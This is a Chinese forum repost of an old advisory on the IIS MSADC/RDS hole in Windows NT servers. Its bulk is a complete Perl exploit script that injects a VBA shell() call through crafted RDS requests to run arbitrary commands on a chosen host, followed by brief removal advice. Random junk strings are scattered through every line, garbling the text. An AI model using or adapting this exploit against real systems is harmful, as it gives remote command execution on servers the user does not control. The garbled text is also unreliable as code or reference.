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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) RRGs:h@;  
c{i\F D  
涉及程序: TZObjSm_v  
Microsoft NT server 36 ]?4, .  
(%{!TJgZR  
描述: Lcs?2c:%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 F Zk[w>{  
s 8lfW6  
详细: Q+E)_5_sA  
如果你没有时间读详细内容的话,就删除: $,1KD3;+]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $ Vsf? ID  
有关的安全问题就没有了。 _P=L| U#C  
s>ZlW:jY  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 G-DOI  
HB}iT1.`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1_)Y{3L  
关于利用ODBC远程漏洞的描述,请参看: 2K{)8 ;^  
tSunO-\y  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm er>@- F7w  
Kr%O}<"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /I0}(;^y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3MHByT %  
%){)/~e&  
这里不再论述。 snny! 0E\m  
:j;_Xw  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s&6/fa  
N<aMUVm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (w/lZt  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! B|- W  
Gq.fQ_oOb  
ztV%W6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" H`jvT]  
HhB' ^)  
#!perl 8s6^!e&  
# S6c>D&Q  
# MSADC/RDS 'usage' (aka exploit) script JE[J}-2  
# Pb/[945  
# by rain.forest.puppy jp#/]>(9Z  
# lD?]D&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me PKt;]T0  
# beta test and find errors! n`|CD Kb  
-W)8Z.  
use Socket; use Getopt::Std; 7iH%1f  
getopts("e:vd:h:XR", \%args); {o8K&XU#&t  
F3<Ip~K  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #(r1b'jfP  
DMd&9EsRG  
if (!defined $args{h} && !defined $args{R}) { :74G5U8%  
print qq~ V%n7 h&\%  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Ly`FU)  
-h <host> = host you want to scan (ip or domain) F ss@/-  
-d <seconds> = delay between calls, default 1 second M7\KiQd  
-X = dump Index Server path table, if available 5OHF=wh  
-v = verbose 604^~6  
-e = external dictionary file for step 5 r$;u4FR  
$ Q*^c"&  
Or a -R will resume a command session %CG=mTP  
=_,j89E  
~; exit;} 87:V-*8  
9I*`~il>{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^%m~VLH  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} e2M jV8Bs  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0tP{K  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); j9$kaEf  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 420yaw/":  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^h"F\vIpV  
-n`2>L1  
if (!defined $args{R}){ $ret = &has_msadc; %jj\w>  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} OT}^dPQe  
-5Ln3\ O@  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" SI/p8 ^  
. "cmd /c "; q%8Ck)xz  
$in=<STDIN>; chomp $in; TDHS/"MbA7  
$command="cmd /c " . $in ; yI_MY L[  
N1espc@j  
if (defined $args{R}) {&load; exit;} xs$ -^FnD  
pDG>9P#mO  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; uZ(,7>0  
&try_btcustmr; A=pyaU`aE  
&3bhK5P  
print "\nStep 2: Trying to make our own DSN..."; Yjp*T:6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WOuk> /  
WEk3 4crk  
print "\nStep 3: Trying known DSNs..."; 3"iJ/Hc}9  
&known_dsn; F]`_akE  
a3[lZPQe  
print "\nStep 4: Trying known .mdbs..."; wVtBH_>  
&known_mdb; .Sjg  
xY1@Ja  
if (defined $args{e}){ $5Tjo T  
print "\nStep 5: Trying dictionary of DSN names..."; ,ko0XQBl  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P/doNv}iG  
w.R2' W R  
print "Sorry Charley...maybe next time?\n"; R'x^Y"  
exit; n3JSEu;J  
g WHjI3;  
############################################################################## RS /*Dp^  
Bz*6M  
sub sendraw { # ripped and modded from whisker W3-g]#\?  
sleep($delay); # it's a DoS on the server! At least on mine... pq/ FLYiv  
my ($pstr)=@_; :IP;Frc MP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || oo$WD6eCR  
die("Socket problems\n"); }J'5EAp  
if(connect(S,pack "SnA4x8",2,80,$target)){ IgHs&=  
select(S); $|=1; pjmGzK  
print $pstr; my @in=<S>; )\I? EU8  
select(STDOUT); close(S); BRSgB-Rr7  
return @in; (to/9OrG  
} else { die("Can't connect...\n"); }} .JD4gF2N  
+,{Wcb  
############################################################################## _($-dJ {  
5b{yA~ty  
sub make_header { # make the HTTP request %Zv(gI`A  
my $msadc=<<EOT ^ T:qT*v  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 {g:/ BFLr#  
User-Agent: ACTIVEDATA |Ad6~E+aL-  
Host: $ip rJQ|Oi&1i  
Content-Length: $clen &c9Fw:f;  
Connection: Keep-Alive P:-/3  
WJ8vHPSM  
ADCClientVersion:01.06 kDP^[V P+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @wgGnb)  
_7"W\gn:9  
--!ADM!ROX!YOUR!WORLD! & O\!!1%  
Content-Type: application/x-varg y$9 t!cx  
Content-Length: $reqlen "v(]"L  
];~[Olc  
EOT iwjl--)@K  
; $msadc=~s/\n/\r\n/g;  KP-z  
return $msadc;} zp-~'kIJ  
UMW^0>Z!v  
############################################################################## dB)hW'J?  
XTaWd0Y  
sub make_req { # make the RDS request Or) c*.|\  
my ($switch, $p1, $p2)=@_; Xt*%"7yTp  
my $req=""; my $t1, $t2, $query, $dsn; Pc4c Sw#5  
>t2)Z|1  
if ($switch==1){ # this is the btcustmr.mdb query U9sub6w6  
$query="Select * from Customers where City=" . make_shell(); =V]i?31[  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6@ ^`-N;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} kR?n%`&k  
#|h8u`  
elsif ($switch==2){ # this is general make table query I>~BkR+u%o  
$query="create table AZZ (B int, C varchar(10))"; g@f/OsR76  
$dsn="$p1";} !rGI),  
<KPx0g?=b  
elsif ($switch==3){ # this is general exploit table query Riuv@i^6K  
$query="select * from AZZ where C=" . make_shell(); 1V$B^/_  
$dsn="$p1";} Z@O e}\.$  
]!o,S{a&  
elsif ($switch==4){ # attempt to hork file info from index server Pm;*Jv%  
$query="select path from scope()"; TEZqAR]G  
$dsn="Provider=MSIDXS;";} r74w[6(  
9sU,.T  
elsif ($switch==5){ # bad query `9{C/qB  
$query="select"; H1i4_T  
$dsn="$p1";} sn`?Foh  
Qh%vh ;|^  
$t1= make_unicode($query); DI[^H  
$t2= make_unicode($dsn); J uKaRR~  
$req = "\x02\x00\x03\x00"; a3IB, dr5P  
$req.= "\x08\x00" . pack ("S1", length($t1)); @5GP;3T  
$req.= "\x00\x00" . $t1 ; BTtYlpN6  
$req.= "\x08\x00" . pack ("S1", length($t2)); ?+o7Y1 k,  
$req.= "\x00\x00" . $t2 ; 4<Y[L'UaA@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8k'em/M~  
return $req;} HOb\Hn|6jq  
[/j-d  
############################################################################## Mn;CG'FA  
-z1o~~  
sub make_shell { # this makes the shell() statement {z ~ '  
return "'|shell(\"$command\")|'";} a :AcCd)  
o!0a8i  
############################################################################## RM$S|y{L  
~h|L;E"  
sub make_unicode { # quick little function to convert to unicode ?KW?] o  
my ($in)=@_; my $out; 8#-}3~l[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } vtjG&0GSK  
return $out;} XaSl6CH  
]HT>-Ba;{h  
############################################################################## `o'sp9_3  
7@]hu^)rry  
sub rdo_success { # checks for RDO return success (this is kludge) !XceiQu  
my (@in) = @_; my $base=content_start(@in); ^@eCT}p{  
if($in[$base]=~/multipart\/mixed/){ Z6pDQ^Ii  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} PmTd+Gj$  
return 0;} Yb/^Qk59  
=5F49  
############################################################################## ?id^v 7d  
EJY:C9W  
sub make_dsn { # this makes a DSN for us {'C74s  
my @drives=("c","d","e","f"); i/B"d,=<  
print "\nMaking DSN: "; "$9ZkADO  
foreach $drive (@drives) { B)*%d7=x  
print "$drive: "; UQr+\ u  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FiL JF!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AlV2tffY^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |[ofc!/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; dq&d>f1  
return 0 if $2 eq "404"; # not found/doesn't exist [r'M_foga*  
if($2 eq "200") { L.[2l Q  
foreach $line (@results) { n_hD  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~o$=(EC  
} return 0;} >dY"B$A>  
qI:wm=  
############################################################################## &*~ WK  
uqH ;1T;s  
sub verify_exists { ]T`qPIf;yJ  
my ($page)=@_; Zx0c6d!B  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @"0qS:s]X  
return $results[0];} C:cu1Y9  
CJ b ~~  
############################################################################## llJ)u!=5  
iV=#'yY  
sub try_btcustmr { uOx$@1v,  
my @drives=("c","d","e","f"); f5v|}gMAX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %iNDRLR%I  
`{":*V   
foreach $dir (@dirs) { |v&&%>A2  
print "$dir -> "; # fun status so you can see progress 7Ll(,i<,C  
foreach $drive (@drives) { W` V  
print "$drive: "; # ditto ] $*cmk(Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Oh: -Y]m=  
$reqlenlen=length( "$reqlen" ); R<)uvW_@  
$clen= 206 + $reqlenlen + $reqlen; `JCC-\9T_  
EUgs2Fsb3  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KN=Orx7Gy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /~Iy1L#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7E'C o|  
)8oyo~4?  
############################################################################## NW6;7nWb  
|_p7vl"  
sub odbc_error { dY}5Kmt  
my (@in)=@_; my $base; y`zdI_!7  
my $base = content_start(@in); L-E &m*%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?VotIruR  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _DSDY$Ec  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; VQ('ejv}/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;U4O` pZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} E|9`J00  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; }Y7P2W+4?  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,Dv*<La`\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} .>;??BG}  
t+A*Ws*o  
############################################################################## O<p=&=TD7  
(enr{1  
sub verbose { OiA uL:D  
my ($in)=@_; q'S[TFMNE  
return if !$verbose; vGsAM* vw6  
print STDOUT "\n$in\n";} &,{ >b[  
,$t1LV;o=  
############################################################################## iuWUr?`\  
@:w^j0+h  
sub save { UBW,Q+Q  
my ($p1, $p2, $p3, $p4)=@_; !j7mY9x+  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Q3i\`-kbb  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; U:~]>B $  
close OUT;} Zq33R`  
S}Wj.l+F  
############################################################################## ih)\P0wed  
$'CS/U`E}  
sub load { On O_7'4 t  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1:<n(?5JI  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {w3<dfJ  
@p=<IN>; close(IN); z4D)Xy"/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); vxf09v{-  
$target= inet_aton($ip) || die("inet_aton problems"); \h[*oeh  
print "Resuming to $ip ..."; #@YKNS[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; W"s/ 8;  
if($p[1]==1) { *?Wz/OJ0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; eptw)S-j  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; n\ Lsm  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); vO?sHh  
if (rdo_success(@results)){print "Success!\n";} zytW3sTZA  
else { print "failed\n"; verbose(odbc_error(@results));}} Z/ml ,4e  
elsif ($p[1]==3){ 'S}3lsIE  
if(run_query("$p[3]")){ &b:y#gvJ:  
print "Success!\n";} else { print "failed\n"; }} U7U&^s6`  
elsif ($p[1]==4){ ,]JIp~=nsh  
if(run_query($drvst . "$p[3]")){ a'HHUii=  
print "Success!\n"; } else { print "failed\n"; }} ]srL>29_b  
exit;} DJdhOLx  
Jon3ywd1Y  
############################################################################## *>aVU'  
yo_zc<  
sub create_table { |Z>}#R!,P  
my ($in)=@_; BJHWx,v  
$reqlen=length( make_req(2,$in,"") ) - 28; OPUrz?p2C  
$reqlenlen=length( "$reqlen" ); &N7q 9t  
$clen= 206 + $reqlenlen + $reqlen; u-.5rH l  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4j+M<g  
return 1 if rdo_success(@results); I^LU*A=  
my $temp= odbc_error(@results); verbose($temp); +#>nOn(B  
return 1 if $temp=~/Table 'AZZ' already exists/; ?^:5`  
return 0;} zvnd@y{[  
!RLXB$@`  
############################################################################## OJydt;a  
~|~2B$JeV  
sub known_dsn { `v(!IBP|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (@ BB @G  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !6taOT>v  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", " 5Pqvi  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \ D>!&   
Iza#v0  
foreach $dSn (@dsns) { 5 <KBMCn  
print "."; ,{ 0&NX  
next if (!is_access("DSN=$dSn")); ] -C*d$z  
if(create_table("DSN=$dSn")){ w?fq%-6f*  
print "$dSn successful\n"; /55 3v;l<  
if(run_query("DSN=$dSn")){ BUL<FTg  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { btC<>(kl&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `} 'o2oZnG  
hG<W *g  
############################################################################## UBnHtsM  
-idbR[1{?  
sub is_access { {vd +cE  
my ($in)=@_; Ly`.~t(~l  
$reqlen=length( make_req(5,$in,"") ) - 28; gi_f8RP=2a  
$reqlenlen=length( "$reqlen" ); r;waT@&C  
$clen= 206 + $reqlenlen + $reqlen; @v6{U?  
my @results=sendraw(make_header() . make_req(5,$in,"")); sx[mbKj<  
my $temp= odbc_error(@results); R6GlQ G  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); C?g*c  
return 0;} 44B9JA7u  
|M?VmG/6  
############################################################################## zU|'IW&  
CF_2ez1u0y  
sub run_query { 2mthUq9b*  
my ($in)=@_; /T&+vzCF  
$reqlen=length( make_req(3,$in,"") ) - 28; ?|<p^:  
$reqlenlen=length( "$reqlen" ); Hs.5@l  
$clen= 206 + $reqlenlen + $reqlen; ~fpk`&nhe  
my @results=sendraw(make_header() . make_req(3,$in,"")); \S?;5LacZ  
return 1 if rdo_success(@results); 'A/{7*,  
my $temp= odbc_error(@results); verbose($temp); t<p4H^  
return 0;} i~DLo3  
Io7 =Mc4  
############################################################################## |JUAR{  
G>2: WQ/  
sub known_mdb { SzjylUYV  
my @drives=("c","d","e","f","g"); }"^d<dvuz  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8;,(D# p  
my $dir, $drive, $mdb; /-ewCCzZV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; j4D`Xq2 X  
<oTNo>U/k  
# this is sparse, because I don't know of many VpM(}QHd  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0o?2Sf`L\*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", .uo:fxbd2  
"\\system32\\certmdb.mdb", AT^MQvn  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% A$J?-  
Oimq P  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", m&6I@S2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", w}(Ht_6q{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", (=D^BXtH|  
"\\cfusion\\cfapps\\security\\realm_.mdb", JZrZDW>M  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", \v.YP19  
"\\cfusion\\database\\cfexamples.mdb", |0N1]Hf   
"\\cfusion\\database\\cfsnippets.mdb", 3)~z~p7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", NK(; -~{P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z]Mu8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \8-PCD  
"\\cfusion\\database\\smpolicy.mdb", sC RmLUD  
"\\cfusion\\database\cypress.mdb",  gm@%[  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", HNL;s5gq  
"\\website\\cgi-win\\dbsample.mdb", 'miY"L:| O  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", JI~@H /j  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" X7fJ+C n  
); #these are just G2_l}q~  
foreach $drive (@drives) { x;>~;vmi  
foreach $dir (@dirs){ ^sZ,(sc{G  
foreach $mdb (@sysmdbs) { ]`n6H[6O  
print "."; IWAp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .Vb\f  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ! ^U!T\qDi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,~xX[uB  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }^3ICwzm  
} else { print "Something's borked. Use verbose next time\n"; }}}}} hQDZ%>  
Ft$tL;  
foreach $drive (@drives) { %N-f9o8  
foreach $mdb (@mdbs) { YumHECej  
print "."; oSqkAAGz\  
if(create_table($drv . $drive . $dir . $mdb)){ }Dc?Emb  
print "\n" . $drive . $dir . $mdb . " successful\n"; C{Er%  
if(run_query($drv . $drive . $dir . $mdb)){ zJa,kN|m  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; roG f &  
} else { print "Something's borked. Use verbose next time\n"; }}}} x3?:"D2  
} B[6y2+6$0  
OBmmOswg~  
############################################################################## = ^A/&[&31  
k'$UA$2d  
sub hork_idx { q`DilZ]S  
print "\nAttempting to dump Index Server tables...\n"; SPK% ' s  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !9JK95;  
$reqlen=length( make_req(4,"","") ) - 28; Qk.:b  
$reqlenlen=length( "$reqlen" ); vT>ki0P_;  
$clen= 206 + $reqlenlen + $reqlen; 8g CQ0w<  
my @results=sendraw2(make_header() . make_req(4,"","")); A#B6]j)  
if (rdo_success(@results)){ ~%o?J"y  
my $max=@results; my $c; my %d; {:r8X  
for($c=19; $c<$max; $c++){ %.*?i9}  
$results[$c]=~s/\x00//g; }28,fb /  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; !F&Ss|(}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ?~>#(Q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; K1K3s< y+  
$d{"$1$2"}="";} <n:j@a\up0  
foreach $c (keys %d){ print "$c\n"; } ;^j 2>Azn  
} else {print "Index server doesn't seem to be installed.\n"; }} ^Q$U.sN? R  
4-:TQp(  
############################################################################## : {Crc   
WhHnF*I  
sub dsn_dict { gM<*(=x'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); V=,VOw4  
while(<IN>){ |P"p/iY  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ekj@;6 d]  
next if (!is_access("DSN=$dSn")); LWuciHfd+  
if(create_table("DSN=$dSn")){ Cb5;l~}L  
print "$dSn successful\n"; Eq=~SO%  
if(run_query("DSN=$dSn")){ /-)\$T1d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X]d;x/2  
print "Something's borked. Use verbose next time\n";}}} kHygif !I4  
print "\n"; close(IN);} t<wjS|4  
U,Ya^2h%  
############################################################################## ]KdSwIbi  
"`qmeZ$rg  
sub sendraw2 { # ripped and modded from whisker 6e0tA()F  
sleep($delay); # it's a DoS on the server! At least on mine... PTrKnuM\J_  
my ($pstr)=@_; \ :To\6\Ri  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >zFk}/  
die("Socket problems\n"); Hd]o?q\  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ut.%=o;&[  
print "Connected. Getting data"; 5]pvHc  
open(OUT,">raw.out"); my @in; *:S_v.Y3"  
select(S); $|=1; print $pstr; blO(Th&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} yuIy?K  
close(OUT); select(STDOUT); close(S); return @in; *?bOH5$@Nw  
} else { die("Can't connect...\n"); }} 3,`I\>No  
3/_rbPr  
############################################################################## \PReQ|[ah  
'KvS I=$  
sub content_start { # this will take in the server headers IAyyRl\  
my (@in)=@_; my $c; Buc{dcL/  
for ($c=1;$c<500;$c++) { b9nTg  
if($in[$c] =~/^\x0d\x0a/){ {txW>rZX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %8Eu{3  
else { return $c+1; }}} ]R%[cr  
return -1;} # it should never get here actually 7PTw'+{  
sg YPR  
############################################################################## O2xbHn4  
wwh1aV *  
sub funky { nA owFdCD  
my (@in)=@_; my $error=odbc_error(@in); +;r1AR1)x  
if($error=~/ADO could not find the specified provider/){ U{1%ldOJ%  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xER-TT #S  
exit;} ob3)bI oM  
if($error=~/A Handler is required/){ p^.qwP\P  
print "\nServer has custom handler filters (they most likely are patched)\n"; e={ ?d6  
exit;} aSse' C<a  
if($error=~/specified Handler has denied Access/){ 2i9FzpC3  
print "\nServer has custom handler filters (they most likely are patched)\n"; &t)$5\r  
exit;}} \_io:{M  
8'WoG]E_  
############################################################################## {L'uuG\9U  
J:Mn 5hdK=  
sub has_msadc { wjtFZGx&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); M!i["($_  
my $base=content_start(@results); hMCf| e.UY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); kz0pX- @b  
return 0;} ,#Pp_f<  
+MR]h [  
######################## c1tM(]&  
V36u%zdX5n  
L;\f^v(  
解决方案: PGd?c#v#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll E]w2 {%  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 lT?Vt`==~M  
BN&eU'Dl]  
拿出来充数 哈哈
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